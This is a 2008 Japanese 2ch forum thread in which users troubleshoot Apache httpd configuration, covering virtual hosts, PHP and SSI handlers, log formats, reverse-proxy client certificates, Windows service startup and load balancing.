認証付きのページでなくても認証用のパラメータは付けられると思う。
なんでそんなことしてるのか知らないけど。
785DNS未登録さん:2008/06/05(木) 13:47:02 ID:???
試しにtelnetでやってみたがつかないな、、、
786 ◆jy2j5V31aw :2008/06/05(木) 15:03:12 ID:???
あ、そうなんだ。
パラメータはあっても認証をしてなければログには残らない・・・・そりゃそうか。
787DNS未登録さん:2008/06/05(木) 18:24:50 ID:G2kdMWS1
>>783
wgetで色々試したが・・・
788DNS未登録さん:2008/06/05(木) 21:15:14 ID:???
小人さん専用出入り口でもあるんじゃないの
789DNS未登録さん:2008/06/05(木) 22:31:40 ID:7VhZnW0X
yamadaウイルス \(^o^)/
790DNS未登録さん:2008/06/06(金) 19:19:27 ID:???
Windowsか?
791783:2008/06/06(金) 23:28:03 ID:???
Linuxです
山田じゃなくてyamadaウイルス・・・新種か?
792DNS未登録さん:2008/06/07(土) 00:10:05 ID:???
nimdaの亜種
yamdaです。
793DNS未登録さん:2008/06/08(日) 20:56:20 ID:???
置くべき場所にfavicon.icoがあるにもかかわらず
FIle does not exit とエラーログがでます.

推測できる原因は何でしょうか?

環境はFreeBSD6.2-RELEASE Apache/2.2.2です.
794DNS未登録さん:2008/06/08(日) 21:02:37 ID:???
>>793
アクセス権
795DNS未登録さん:2008/06/08(日) 21:21:24 ID:???
アクセス権が適正でない場合でも FIle does not exit
とでるのでしょうか.
796DNS未登録さん:2008/06/08(日) 22:12:06 ID:???
>>795
その「置くべき場所」って、具体的にどこ?
797DNS未登録さん:2008/06/09(月) 00:15:54 ID:???
バーチャルがらみか
798DNS未登録さん:2008/06/11(水) 00:33:57 ID:5phUxtd5
名前ベース・バーチャルホストの中のひとつを
任意のサブドメ・キャッチオールにしたいんですが
httpd.confどう書いたらいいですか?
799DNS未登録さん:2008/06/11(水) 01:10:34 ID:5phUxtd5
798自己レスです。公文書にサンプルがありました。お騒がせしました。

<VirtualHost>
DocumentRoot /www/example3
ServerName www.example3.net
ServerAlias *.example3.net
</VirtualHost>
800DNS未登録さん:2008/06/11(水) 04:46:23 ID:BOueE76U
WindowsでPHPをインストールしましたが、
いざブラウザからfff.phpを表示させると文字化けしていました。
こうなる原因にはどのようなものがありますか?
801DNS未登録さん:2008/06/11(水) 05:05:33 ID:???
文字化けじゃね?
802DNS未登録さん:2008/06/11(水) 05:25:58 ID:BOueE76U
>>801
文字化けする原因がわかりません。
803DNS未登録さん:2008/06/11(水) 05:55:09 ID:BOueE76U
文字化けは直りましたが
PHPコードがそのまま表示されてしまう…
804DNS未登録さん:2008/06/11(水) 06:01:16 ID:???
>>803
apacheのバージョンは?
phpのインストール時に、apacheのバージョン選択を間違っていない?
同じくインストール時に、apacheのhttpd.confの場所の選択は間違っていない?
httpd.confの最後にphpインストーラが追記した内容はどうなってる?
805DNS未登録さん:2008/06/11(水) 06:55:13 ID:BOueE76U
できた。すみませんでした。
806DNS未登録さん:2008/06/11(水) 07:00:58 ID:???
>>805
出来たら、間違ってた内容とか書けよ
自分勝手だな
807DNS未登録さん:2008/06/11(水) 17:55:27 ID:AbUpaVpq
アパッチの安定版って2.0ですかね

2.2.8をインストールしてみたら

1度だけ起動できてパソコン再起動とかすると動かなくなります。

808DNS未登録さん:2008/06/11(水) 18:09:04 ID:???
再起動しなけりゃいいのでは。

もうちょっと詳しく環境書いてくれないと。2.2.8で安定運用してる人もいるんだからさ
809DNS未登録さん:2008/06/11(水) 18:32:30 ID:pUo/Ujjx
通りすがりだが、恐ろしい記述に愕然としたw

「再起動しなけりゃいいのでは。」
810DNS未登録さん:2008/06/11(水) 20:22:18 ID:pYqiie3K
起動時のログ(Windowsのサービスならイベントビューアで見る)とか
エラーログを見る
話はそれからだ
811DNS未登録さん:2008/06/11(水) 20:32:09 ID:???
俺は、2.0系はメモリリークしてたな。
2.2系に変えたら、非常に安定して動いてる。
812DNS未登録さん:2008/06/11(水) 21:19:18 ID:???
まあサービスで自動になってないだけなんだろうけど
Apache運用してりゃ再起動しない環境なんて普通にあるし
813DNS未登録さん:2008/06/13(金) 22:04:21 ID:f3n7nBAt
ネットワークの設定を変更して再起動を行うと通信が切れてしまいますが
apache2.2から新しいアクセスから順に変更後の設定を行うような再起動(よりは緩い)のようなものが加わったと聞いたのですが
restartコマンド以外に追加されたということでしょうか?

814DNS未登録さん:2008/06/13(金) 22:16:04 ID:???
>>813
graceful-stop
815sage:2008/06/15(日) 15:06:01 ID:???
バーチャルホストごとに待ち受けポート変えることできますか?
ポートについてはListenで記述されているものしか使えないように見えますが
バーチャルホストごとにポート変える方法あれば教えていただけるばと思います
816DNS未登録さん:2008/06/15(日) 15:10:54 ID:eJcI7fFt
>ポートについてはListenで記述されているものしか使えないように見えますが

だからListenに使いたいものを記述するんだよ
817DNS未登録さん:2008/06/16(月) 13:29:04 ID:???
>>815

httpd.confの

ここを
Listen 80

こうする
Listen 12.34.56.78:80
Listen 12.34.56.79:80


んで、あとはIPベースのバーチャルホスト切ってやればok。
818DNS未登録さん:2008/06/16(月) 15:52:30 ID:???
Listen 12.34.56.78:80
Listen 12.34.56.78:81

こうだろ
819DNS未登録さん:2008/06/19(木) 05:14:15 ID:???
ある自分のサイトがあるんだけど、そこにアクセスがあった場合例えば2chに飛ばすとかいう設定にするにはどうしたらいいでしょうか?
htaccessのリダイレクトを使おうと思ったんだけどうまくいかなくて
820DNS未登録さん:2008/06/19(木) 06:47:36 ID:???
うまくいかない、ではどういう状態か分からんし
環境によっていくつも方法があるのでぐぐってくれ
821DNS未登録さん:2008/06/19(木) 09:08:47 ID:E1R+u1Qj
htaccess厨が一向に減らない理由を知りたい
822DNS未登録さん:2008/06/19(木) 09:32:04 ID:???
場合によっちゃconf直接書き換えるけど、htaccessのほうが多く使うけどな
823DNS未登録さん:2008/06/19(木) 15:55:41 ID:N6L84jkq
ここでいいのかわかりませんが、質問します。
LinuxでのApache1.3.37+PostgreSQL8.1.4+perl5.8.7の環境を、Windowsに移行する必要があり、
Windows2000Pro SP4上にApache2.0.63+PostgreSQL 8.2.6+ActivePerl5.8.8.822の環境で
動作確認しています。
Linux環境では、Perlのwarnで出力したワーニングが、特に設定しなくともerror_logに
出力されますが、Windows版のApacheではerror.logに出力されません。
Linux版のようにerror.logに出力するには、何か設定が必要なんでしょうか?
824DNS未登録さん:2008/06/19(木) 16:07:43 ID:???
httpd.conf の ErrorLog や LogLevel のとこはどーなってんの?
825DNS未登録さん:2008/06/19(木) 16:11:22 ID:???
レスどうもです。

ErrorLogは、
ErrorLog logs/error.log

LogLevelは、
LogLevel warn
となっています。
826823:2008/06/19(木) 16:16:08 ID:???
因みに、warnのログは出力されませんが、
die "hoge";
とした場合はログ出力されました。
827DNS未登録さん:2008/06/19(木) 16:17:02 ID:???
デフォルトのままか。
少なくともそれで出るはずだけどな。
どこで出ていないと判断したの?
別のhttpdが起動してるのかもよ?
828DNS未登録さん:2008/06/19(木) 16:19:10 ID:???
何だ、出てるんじゃん。
そりゃPerlの設定だろ。
STDERRへの出力を変えてるんじゃ?
829DNS未登録さん:2008/06/19(木) 16:23:44 ID:???
分からんな
デバッガまわすしかないかも
830DNS未登録さん:2008/06/20(金) 11:37:44 ID:???
アパッチのアクセスログファイルとかってほっとくと
巨大なファイルになっちゃうと思いますが
みなさんログの保存とかしてます?それともすぐ削除しちゃいます?
もし掲示板とかで犯罪につながる書き込みとかあった時に
警察に提出する場合とかもあるかもしれませんし
保存しておく場合ってどれくらいの期間保存するべきでしょう?
831DNS未登録さん:2008/06/20(金) 12:49:51 ID:???
消す理由が無い限り保存
容量やばくなったら消すかもな。
rotatelog等は使ってるよね?
832DNS未登録さん:2008/06/20(金) 14:12:07 ID:???
>>830
最低3ヶ月
宅鯖の管理者はネットワーク図の届け出などいろいろ義務が
ありますので、一応調べておいたほうがいいかと
833DNS未登録さん:2008/06/20(金) 16:50:38 ID:???
>>831 >>832
なるほどやはりしばらく保存しているのですね、
サーバーはこれから立てるのでまだrotatelogは使ってませんが
これがあると楽そうですね。
ログと関係ないのですがメンバー制のサイトを作っているのですが
メンバーが退会した際のDBのメンバー情報も3ヶ月くらい残しておいた
方がいいでしょうか?一応退会しても論理削除する感じを考えています、
メールアドレスなどもデータとしてあるので個人情報保護管理の観点で
メンバーが退会希望しているのにデータをずっと残しておくのも
どうかと思っているのですが。
834DNS未登録さん:2008/06/21(土) 02:46:21 ID:???
ルータで繋いだVistaとXPで相互にapacheを入れ接続テストをしています。
そこでXP→Vistaは繋がるのですが、Vista→XPがapacheをインストールしたものの繋がりません。
Network Domain,Server Name,コンピュータ名は全て同一(仮にhoge12321)にしてあり、
Vistaからhttp://hoge12321に接続するとページ読み込みエラーになります

両者ともpingは通るのですが、ブラウザでVista→XPはIP直打ちでも/apache/htdocs/index.html
が表示されません。
またXP自身からlocalhost、自IP直打ち、hoge12321、を試すとindex.htmlは表示されます。
XPのセキュリティソフトもアンインストールしたのですが繋がらず、
どう対処すれば良いのか不明なので分かりましたら教えてください。
835DNS未登録さん:2008/06/21(土) 03:40:34 ID:???
xpのfwっぽいけど、PCの電源落として一晩寝たらどうかな
明日はtelnetでapache叩いたりパケットキャプチャで調べてみたり
836DNS未登録さん:2008/06/21(土) 09:03:18 ID:???
>>834
名前解決できないだろ。ホスト名は一意だぞ。
837DNS未登録さん:2008/06/21(土) 09:39:45 ID:???
windowsxpの2.2系です。

指定されたネットワーク名は利用できません。
セマフォがタイムアウトしました。

上記のエラーが出るので、
Win32DisableAcceptExを
指定しようとしたところ、
httpd.confにmpm_winnt.cディレクティブが
ありません。

単純にmpm_winnt.cディレクティブを追加すればよいですか?


また、2.0系で経験したのですが、
上記の設定を行うとメモリリークが起きます。

メモリリークと上記のエラーは、どっちの対策を
取ったほうが良いのでしょうか?
838DNS未登録さん:2008/06/21(土) 09:50:30 ID:???
>>837
そもそもお前がサーバ運用するのはまだ早い
839DNS未登録さん:2008/06/21(土) 10:01:07 ID:???
>>838
そんなこと聞いてない、あほ
840DNS未登録さん:2008/06/21(土) 10:04:35 ID:???
>>839
質問を読めない奴なんて無視しとけ
841DNS未登録さん:2008/06/23(月) 21:13:24 ID:???
OSはWindows2000

win用のアパッチをインストールした。
http://localhost/index.html
↑これは表示されるようになった。
しかし、
http://localhost/a.cgi
これを表示しようとすると
Forbidden

You don't have permission to access /a.cgi on this server.

となってしまう。
おそらく、cgiを表示するパーミッションを与えていない、
というのが原因だと思う。
その設定ファイルは、
httpd.conf
だと思う。

どうすればいい?
842DNS未登録さん:2008/06/23(月) 21:27:13 ID:???
ワロスw
843DNS未登録さん:2008/06/23(月) 22:03:32 ID:???
>>841
自己解決した。
単にHTMLで出力してなかった。
HTMLのタグで(<body>とか)ちゃんと
書いたら普通に表示できた。
844783:2008/06/24(火) 07:25:44 ID:wSZk3aoB
山田さんがまた来たので、wgetで試してみました。見事成功です!

# wget --http-user='YAMADA' --http-password='YAMADA' http://192.168.1.10/

192.168.1.10 - YAMADA [23/Jun/2008:07:13:31 +0900] "GET / HTTP/1.0" 200 1942 "-" "Wget/1.10.2 (Red Hat modified)"
845DNS未登録さん:2008/06/24(火) 08:13:47 ID:???
それ、キミのとこのサイトの設定じゃないの?
846DNS未登録さん:2008/06/24(火) 09:17:00 ID:???
経過報告とは珍しいな
投げっぱなしにしないのはよいことだ
847DNS未登録さん:2008/06/27(金) 00:41:38 ID:???
シロウトが偉そうにwwww
848DNS未登録さん:2008/06/29(日) 11:11:42 ID:???
質問です。

Fedora9 + Apache2.2.8
OSインストール時に一緒に入れたので、たぶんyumインストール。

access_logのログ出力の形式は、combined指定しています。
しかし、common指定と同じ出力しか出力されていない。

RefererとUser-agentを含めて出力させたいのですが、
忘れている設定とか、他にキーワード設定など有りますか?

現在のhttpd.conf関連設定は、
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\"" combined
CustomLog /var/log/httpd/access_log combined
849DNS未登録さん:2008/06/30(月) 14:12:21 ID:???
自己解決
スレ汚しゴメン

VirtualHost側への記述が不十分でした
850DNS未登録さん:2008/07/03(木) 06:39:29 ID:???
Apacheのログ出力で
SetEnvIfを使い
特定のGETパラメータがあればログを取らないってする場合ってどうするの?

画像関係のログを取りたくないんですが、
SetEnvIf Request_URI "¥.(gif|jpg|png|ico|bmp)$" nolog

上記以外に例えば
/?act_image=1&id=a
のような感じでで画像を出力している部分があって
/?act_image=1が含まれる場合nologにしたいんです。

分かる方いましたら教えて下さい。
851DNS未登録さん:2008/07/03(木) 07:59:27 ID:H/+Ze2je
QUERY_STRING
852DNS未登録さん:2008/07/03(木) 09:31:06 ID:???
とりあえず最初からcgi-binに入ってるprintenvのパーミッションを実行できるように変更して
ブラウザで呼び出してパラメタ追加とかして眺めてみるといいよ。
853DNS未登録さん:2008/07/05(土) 18:04:27 ID:QRSo7rDy
WindowsXPでApacheのインストールに失敗してしまい、
再度入れ直したのですが、失敗したApacheがサービスに登録されたままです。
Apache Service Monitorにもあります。(しかし、アンインストール下ので起動できない
現在無効にしているのですが、削除する方法が分かりません。

こういう場合、どうやって削除すればいいのでしょうか?
854DNS未登録さん:2008/07/05(土) 18:23:24 ID:???
コマンドラインから、scって打ってみ。
それで説明出なかったら、
ttp://support.microsoft.com/kb/q103000/ 見てregeditで消すとか
855DNS未登録さん:2008/07/06(日) 13:41:13 ID:???
>>854
出来ました!ありがとうございました。
856DNS未登録さん:2008/07/07(月) 13:50:36 ID:8MPD+C5k
Xp apache2.2.9です。

SSIのデフォルトの拡張子は.shtml、
PHPのデフォルトの拡張子は.phpだと
思いますが、
双方共、拡張子を.htmlで動かしたいと
思い、httpd.confに
AddType text/x-server-parsed-html .html
AddType application/x-httpd-php .html
を追記しました。
index.htmlに
<!--#include virtual="hoge.html" -->

<?php
phpinfo();
?>
を記述した結果、phpの部分は正常に動くのですが、
SSIの部分が正常に動きません。
ブラウザの表示は、
[an error occurred while processing this directive]
と出力されます。

SSIとPHPは共存出来ないのでしょうか?
最近になってPHPを使用せねばならず、
SSIが記述してあるhtmlファイルが多量に
あるので、SSIの部分の書き換えは避けたいのです。

誰か分かるかた、教えてください。
857DNS未登録さん:2008/07/07(月) 13:51:48 ID:eI4X9lOG
AddType text/x-server-parsed-html .html
AddType application/x-httpd-php .html

どこにこうやれって書いてあるんだ?
グーグルとかヤフーに頼るんじゃなくて、ちゃんと自分でマニュアル読めば分かる話
858DNS未登録さん:2008/07/07(月) 13:56:50 ID:8MPD+C5k
>>857
ちと、apacheのマニュアルを読んでみます。
859DNS未登録さん:2008/07/07(月) 14:00:29 ID:eI4X9lOG
といっても、これだけじゃ大変だろうから少し解説。

SSIはフィルターとして動かすもの。
PHPはハンドラとして動かすもの(フィルタ動作もあるけどマイナーだからここでは考えない)

AddTypeはフィルターにもハンドラにも(本来は)関係ない、
単にMIME-Typeを設定するディレクティブである。
(あろうことか、PHPのマニュアルがこの間違いをばら撒いてるんだが。)

ハンドラと拡張子を結び付けるにはAddHandlerを、
フィルタと拡張子を結び付けるにはAddFilterを使う。
860DNS未登録さん:2008/07/07(月) 14:45:53 ID:8MPD+C5k
>>859
ヒントをありがとうございます。
私には難しいです。
一応、原点に戻って、
まず、

SSIをhtmlで有効化する為に
1.OptionsにIncludesNOEXECを追加。
2.AddOutputFilter INCLUDES .htmlを追加。
で、SSIが有効になりました。
次に
PHPを有効化する為に、
AddHandler application/x-httpd-php php html
を追加しました。

a. SSIのみ記述のhtml
b. PHPのみ記述のhtml
c. SSI,PHP両方を記述したhtml
を用意し、表示されるかテストしてみました。

結果、a,bは正常に表示されますが、
cは一瞬正常に表示されるが、
すぐに、「サーバーが見つからないか、DNS エラーです。」
の画面になってしまいます。

エラーログには
Parent: child process exited with status 3221225477
と出て、apacheの再起動がかかっているみたいです。

助けてください。。。
861DNS未登録さん:2008/07/07(月) 15:03:58 ID:eI4X9lOG
>>860
「フィルタと拡張子を結び付けるにはAddFilterを使う。」
すまんこれ間違いで、AddOutputFilterで合ってる。

a. b. がOKなら、設定は間違ってないはず。
Apacheが異常終了するってのはちょっと俺にはわからんな。

PHPが出力した結果を、SSIが変換するんだが。
cで使ったhtmlを、SSI無効の設定で表示するとどうなるか試してみたらいいんじゃないかな。
862DNS未登録さん:2008/07/07(月) 15:14:10 ID:8MPD+C5k
>>861
試しました。
SSIで下記のように
<!--#include virtual="h.html" -->
h.htmlをイクルードしているのですが、
ブラウザで表示されず、
ソースに
<!--#include virtual="h.html" -->
とコメントの状態になっています。

うぅあと少しなのに。。。
863DNS未登録さん:2008/07/07(月) 16:23:09 ID:???
>>862
「PHP SSI」でググったらこんなん出てきたけど試した??
ttp://www.jugglershu.net/myblog/2007/09/apachessiphp.html
864DNS未登録さん:2008/07/07(月) 16:29:01 ID:8MPD+C5k
>>863
一応、見ました。
これは、SSIでPHPを呼ぶ方法ですよね?
今、SSIの記述は下記のようになっていて、
変更したくないんです。
<!--#include virtual="hoge.html" -->
865DNS未登録さん:2008/07/07(月) 17:11:50 ID:8MPD+C5k
動いた。

index.html

-------------------------------------------
<body>
<!--#include virtual="h.html" -->
<br>

<?php
phpinfo();
?>

</body>
-------------------------------------------

の場合、apacheが異常終了する。


-------------------------------------------
<body>
<!--#include virtual="h.html" -->
<br>

<?php
echo "echoのテストです";
?>

</body>
-------------------------------------------

の場合、apacheは異常終了せずに、
正しく表示される。


なんでだろ???
866DNS未登録さん:2008/07/07(月) 17:14:28 ID:???
SSI無しでphpinfo表示する分には異常終了しないのに
SSIと組み合わせると異常終了するって変だな。
でも、PHPにバグがあると考えるのが自然かも
867DNS未登録さん:2008/07/07(月) 17:23:36 ID:8MPD+C5k
>>866
phpinfo();もまともに動かないのは
ちょっと先行き不安です。
PHPのバージョンを落として
試してみます。
868DNS未登録さん:2008/07/07(月) 17:28:29 ID:8MPD+C5k
旧版のインストーラ付きPHPが見つからない。。。
869DNS未登録さん:2008/07/07(月) 18:04:31 ID:???
Winやめると解決しそうだな
870DNS未登録さん:2008/07/07(月) 18:28:41 ID:8MPD+C5k
>>869
そんな。。。
871DNS未登録さん:2008/07/09(水) 04:18:29 ID:???
mod_proxy+mod_sslでクライアント証明書認証する
リバースプロキシをつくってるんだが、たとえば以下のような
構成にするにはどうしたらいいのだろう?

https://www.example.com/hoge/
クライアント証明書認証アリ

https://www.example.com/fuga/
クライアント証明書認証ナシ

検証環境だから今のところどちらも同じWebサーバ192.168.0.1
に中継する。

ちなみにクライアント証明書から
コモンネームとメアドを取り出して
バックエンドのWebサーバでちょいと使いたい。
まあ、これは
RequeatHeader set ...
で実現できるんだが、上のディレクトリによる
振り分けと組みあ合わせるとうまく行かない。

VirtualHostをつかうといいのかもしれないけど
正直もうお手上げの状態で…

アドバイスおながいしまうs
872DNS未登録さん:2008/07/09(水) 04:23:24 ID:???
delegateではディレクトリ別のクライアント証明書認証の
あるなしを簡単に設定できたんだが、
delegateだとクライアント証明書の内容を
バックエンドに渡す方法が見つからなくて…
873DNS未登録さん:2008/07/09(水) 14:21:34 ID:???
<Location /hoge>
SSLVerifyClient require
RequestHeader set ...
</Location>

mod_proxy だからといって難しく考える必要ないと思うんだが。
試してないけど。
874871:2008/07/10(木) 12:21:36 ID:???
>>873
d
これでいけた。

なんでだめだったかもわかった。
リバプロ設定で
PoxyPass       / http://192.168.0.1/
ProxyPassReverae / http://192.168.0.1/
PoxyPass       /hoge http://192.168.0.1/
ProxyPassReverae /hoge http://192.168.0.1/

とやってて /hoge の意味がない状態でテストしてますた…

順序性あるんだねーってことでorz
875871:2008/07/10(木) 12:22:44 ID:???
poxy → proxy

orz
876DNS未登録さん:2008/07/11(金) 19:30:13 ID:???
Javaで動的なWEBアプリサイト作ってるんですが
TomcatとApacheを連動させるとパフォーマンスが落ちたような気がします。
CGIやPHPやSSLは使用しないのでTomcatのWEBサーバーで運用しようかと
思ってます。
動的なページがほとんどなのでApache連動よりもTomcat単体の方が
パフォーマンス良いのでは。
877DNS未登録さん:2008/07/11(金) 20:01:31 ID:???
だから何?
878DNS未登録さん:2008/07/11(金) 21:11:11 ID:???
879DNS未登録さん:2008/07/16(水) 10:09:47 ID:6N/nDbVK
元々PCサーバ(Debian)に置いていたコンテンツを
ラックサーバ(Mandriva)に移すことになりました。
SSIでヘッダーやフッターをインクルードしたshtmlファイルは
表示開始までに2秒くらいかかります。
htmlファイルはすぐに表示されるのでSSIの問題だと思うのですが、
PCサーバの時はshtmlファイルでも瞬時に表示できていたし、
ラックの方が性能が圧倒的にいいので、apacheの設定に問題があるのかと思います。
PCサーバ:Debian apache2.2.3
ラックサーバ:Mandriva apache2.2.3
何かわかる方がいましたら教えてください。
880DNS未登録さん:2008/07/16(水) 19:58:37 ID:???
>>879
丸投げかよ
881DNS未登録さん:2008/07/17(木) 12:47:19 ID:???
いまどきSSIなんて使うんだ
882879:2008/07/21(月) 11:37:06 ID:IYRESmxu
丸投げするつもりはないのですが、
なぜ遅いのか理由が全然わからないので・・・。

SSIを使わずに、ヘッダーやフッターをまとめて
管理するいい方法ってありますか?
883DNS未登録さん:2008/07/21(月) 11:46:45 ID:???
やっぱり丸投げかよ
884DNS未登録さん:2008/07/21(月) 12:24:51 ID:krpCjRPq
>>882
phpでインクルードするとか
885DNS未登録さん:2008/07/21(月) 13:23:46 ID:???
mod_layoutじゃダメなん?
886879:2008/07/21(月) 13:52:27 ID:IYRESmxu
>882
php でインクルードした方が早いものですか?
php で処理するより apache が直接処理する SSI の方が早いのかと
思ったのですが、php の方が早いのでしょうか?

>885
ヘッダー、フッターだけでなく、メニューなんかも挿入してるのですが、
それも可能ですか??
887DNS未登録さん:2008/07/21(月) 14:02:38 ID:???
>>886
早いかどうか分からん。
試してみたら?
俺はSSIでも十分スピードでてる。
888879:2008/07/21(月) 14:25:43 ID:IYRESmxu
>886
できれば現状のSSIで行きたいのです。
スペックの低いPCサーバで十分速度が出ているのだから、
スペックのいい環境なら設定さえ直せれば早いと思うのです。
設定でSSIが遅くなるようなことって何が考えられるのでしょうか。
わかることがあれば教えてください。
889DNS未登録さん:2008/07/23(水) 10:27:49 ID:???
プロファイリングしてみれば
890DNS未登録さん:2008/07/28(月) 13:02:13 ID:???
フッタだからSSIという発想からして変だろう。
それは共有サバのやつの発想だ。
宅サバならそこじゃないだろが。
891DNS未登録さん:2008/07/28(月) 17:58:54 ID:???
WindowsXP/Apache1.3.37-modssl + OpenSSL0.98hなんだけど
SSLEngineをonにするとApache.exeの起動に失敗したことある人いる?
ここのところmsvcr90.dll絡みで落ちるアプリが急に増えた気が・・・・。
892DNS未登録さん:2008/07/30(水) 02:20:42 ID:???
winやめろ
そういえば最近apacheの起動だけで落ちたことが
893DNS未登録さん:2008/08/02(土) 02:46:38 ID:???
Windows版のアパッチで、
パソコンを起動すると、いつも勝手に
httpd.exe
というのが起動されてしまいます。

スタートメニューから、アパッチを選んで、
サーバーストップとかいうのを選ぶと、
apache is stopping...

と出て、ようやく止まりますが、
勝手に起動しないようにしたいのですが、
どうすればいいですか?
894DNS未登録さん:2008/08/02(土) 03:50:59 ID:???
uninstall
895DNS未登録さん:2008/08/02(土) 05:36:31 ID:???
>>893
サービスを切るんだ
896DNS未登録さん:2008/08/02(土) 05:49:14 ID:???
パソコン起動時に、
勝手に起動しないようにしたいんですよ。
897DNS未登録さん:2008/08/02(土) 05:59:47 ID:???
マイコンピュータ右クリック
管理
サービス
Apache右クリック
自動起動→手動
って感じかね。
記憶で書いてるからいい加減。
898DNS未登録さん:2008/08/02(土) 06:35:35 ID:???
>>897
言われたとおりにやったらできました。
こんな設定があったんですね。
899DNS未登録さん:2008/08/02(土) 06:52:57 ID:???
>>898
お前はwindowsを勉強してこい
900DNS未登録さん:2008/08/02(土) 08:02:09 ID:???
895氏が既に答えを出してるのにそれを理解できてないところを見ると、ほんとにWindowsを勉強してこいと言われて仕方ないよ。

そもそも「httpd.exeというのが」のあたりも、怪しげな言い回しだし。
Windows、Apacheともに勉強してくださいね。

夏休みだなあ。
901DNS未登録さん:2008/08/02(土) 08:06:03 ID:???
知らない、ということでの害悪が自分のPC内だけで済んでればいいけど
ネットワークが絡むと他に迷惑かけるから最悪なんだよな。
CodeRedとか、モロにそういう連中がはびこらせたんだし。
902DNS未登録さん:2008/08/02(土) 18:03:43 ID:UjDNds6s
普通のCGIは動くのにprintenv.plだけは保存画面が出る。
printenv.plの変更箇所は拡張子をcgiと一行目だけじゃないのだろうか?
それともconfの設定の問題?
903DNS未登録さん:2008/08/02(土) 19:03:19 ID:???
どんな拡張子をCGIとして処理するかはApacheの設定にある。
設定ファイルの中でcgiと調べてみたら分かりやすいかな。
904DNS未登録さん:2008/08/02(土) 19:50:21 ID:???
あー今日はproxy_balancerと格闘して一日が終わった。
905DNS未登録さん:2008/08/02(土) 20:04:22 ID:???
>>902
これでどう?

print "Content-type: text/html; charset=iso-8859-1\n\n";
foreach $var (sort(keys(%ENV))) {
$val = $ENV{$var};
$val =~ s|\n|\\n|g;
$val =~ s|"|\\"|g;
print "${var}=\"${val}\"<br>\n";
}
906DNS未登録さん:2008/08/03(日) 09:29:27 ID:suxtM4ul
>>905
出来ました!
結局printenv.cgi側の問題だったんですかね・・・。
ありがとうございます。
907DNS未登録さん:2008/08/03(日) 13:16:17 ID:???
fedora9でapache2.28を使っています
エイリアスの設定したいのですが

Alias /doc/ "/var/www/hoge"

と言う風にhttpd.confに記述した場合、http://---/docに通常通りアクセス出来
/doc/内のファイルにもアクセス出来るのですが、
(hogeのオーナー、グループはroot:rootです)

Alias /doc/ "/home/masashi/www"

と言う風にユーザーのホームディレクトリ以下をエイリアスに設定して//--/docにアクセスすると
403エラーが出ます。
/home/masashi/wwwのオーナー、グループをrootにしてみましたが
それでも403エラーが出ます
何方が解決方法をご存知でしたらご教示お願いします
908DNS未登録さん:2008/08/03(日) 13:39:11 ID:???
すいませんコピペミスしました
×Alias /doc/ "/home/masashi/www"
○Alias /doc/ "/home/masashi/www/"
でした
これでも403になります
909DNS未登録さん:2008/08/03(日) 13:56:01 ID:???
907です
すいません単純なミスでした
親ディレクトリのパーミッションが読み取り不可になっていました
親ディレクトリまで考えが及んでませんでした
910DNS未登録さん:2008/08/06(水) 03:08:48 ID:???
WinXPとApacheで最近自鯖立てて色々いじってみてるんですが
別のPCから試しにF5アタックしたら簡単にしばらく繋がらなくなってしまいます。
2ch並とまではいかなくても、もっと軽くする方法ないですか。
911DNS未登録さん:2008/08/06(水) 09:49:18 ID:???
Windows以外で立てる
912DNS未登録さん:2008/08/06(水) 10:18:21 ID:???
WindowsでApacheはお勧めしない
WindowsならIIS使った方がいい
ApacheはUNIX系OSで使うべき
913DNS未登録さん:2008/08/06(水) 11:03:59 ID:???
ApacheとAPRの開発者でもWindowsを担当してる人って少ない(てか1人)しな
914DNS未登録さん:2008/08/06(水) 13:38:28 ID:???
apacheのlogスレってなくなっちゃったのか

checkip.dyndns.orgが徘徊してるのは何でだろう
そもそもdyndnsなんてDDNS使ってないんだけどもなぁ
915DNS未登録さん:2008/08/07(木) 01:43:06 ID:/hjA0Tb4
利用方法は人によって千差万別だからベストな設定も千差万別なのは理解出来るが、
もしかすると自分の設定には無駄があって100%の能力を発揮させていないのではないか、
と思うんだなあ。
916DNS未登録さん:2008/08/07(木) 09:05:11 ID:???
MSがApacheのスポンサーなわけだが。
917DNS未登録さん:2008/08/07(木) 09:58:20 ID:???
そもそもクライアント用OSでサーバに使うのをよしとしてないでしょ、MSは。
918DNS未登録さん:2008/08/07(木) 11:18:45 ID:???
MSはサーバ用OSも出してるし、それ使えば??
919DNS未登録さん:2008/08/07(木) 11:22:58 ID:???
>>910
だそうです。
920DNS未登録さん:2008/08/09(土) 09:55:48 ID:PV5aSJqe
現在ロダ運営してるんだけど、負荷分散目的でmod_proxy_balancerを導入しようかと思ってます。
構成は鯖Aがフロント、鯖B、Cがバックエンドとして考えてます。
そこで解らないのがコンテンツの性質上鯖B、Cの同期を取らないとおかしな事になりそう。
たのNFS鯖からコンテンツのあるディレクトリをマウントとか考えましたが、本末転倒のような気がして。
何か良い方法はありますかね?
921DNS未登録さん:2008/08/09(土) 11:13:24 ID:???
>>920
何の負荷を分散させるのかをはっきりすれ。
ネットワークの負荷を分散させるのならロードバランサーでは解決できない。
複数のプロバイダと契約したりネットワークを二重化(bulk)したりすればいい。

参照型(投稿や送信が少ないか、リアルタイムでなくても良いもの)でCPUやディスクの
負荷を分散させるのなら各サーバにストレージを配置して同期し、ロードバランサーで
割り振ればいい。
922DNS未登録さん:2008/08/09(土) 11:26:57 ID:PV5aSJqe
>>921
ネットワーク自体にはまだ余裕があると思います。
とにかく鯖がロースペックなので後者に当たるんだと思います。
ただ後者ですとリアルタイムな同期は難しいですよね?
金銭的余裕があればそれなりの鯖を新調したいんだけど、今回の増設も余っているパーツを寄せ集めでして。
923DNS未登録さん:2008/08/09(土) 17:54:02 ID:???
ロースペックってどのレベルか知らんけどパーツかき集めたりなんだかんだと
後付で出費するならML115買った方が得策な気がする
3台分の電気代が1台にまとまれば数ヶ月で元取れるだろうし
924DNS未登録さん:2008/08/10(日) 12:09:39 ID:???
>>920
下手考えるまえに、スクリプトなどを見直すほうが先
925DNS未登録さん:2008/08/11(月) 09:58:28 ID:???
まあバランサーは面白いからいっぺんやっとくといいかも。
同期させる方法は状況によって違う。
926DNS未登録さん:2008/08/13(水) 01:26:17 ID:???
Windows上でApache2を動かしています。
ほぼデフォルトの設定で起動して何かファイルをHTTPでダウンロードしてもらうと大体400kb/s位しか出ません。
AnHTTPDでサーバーを立ち上げると2000kb/s出たようです。

Apacheでサーバーを立ち上げているときだけ速度が絞られてしまうようなのですが、何か設定等あるのでしょうか?
927DNS未登録さん:2008/08/13(水) 09:01:50 ID:???
その話題はあきるぐらいに出てきてるわけだが。
ぐぐれ。
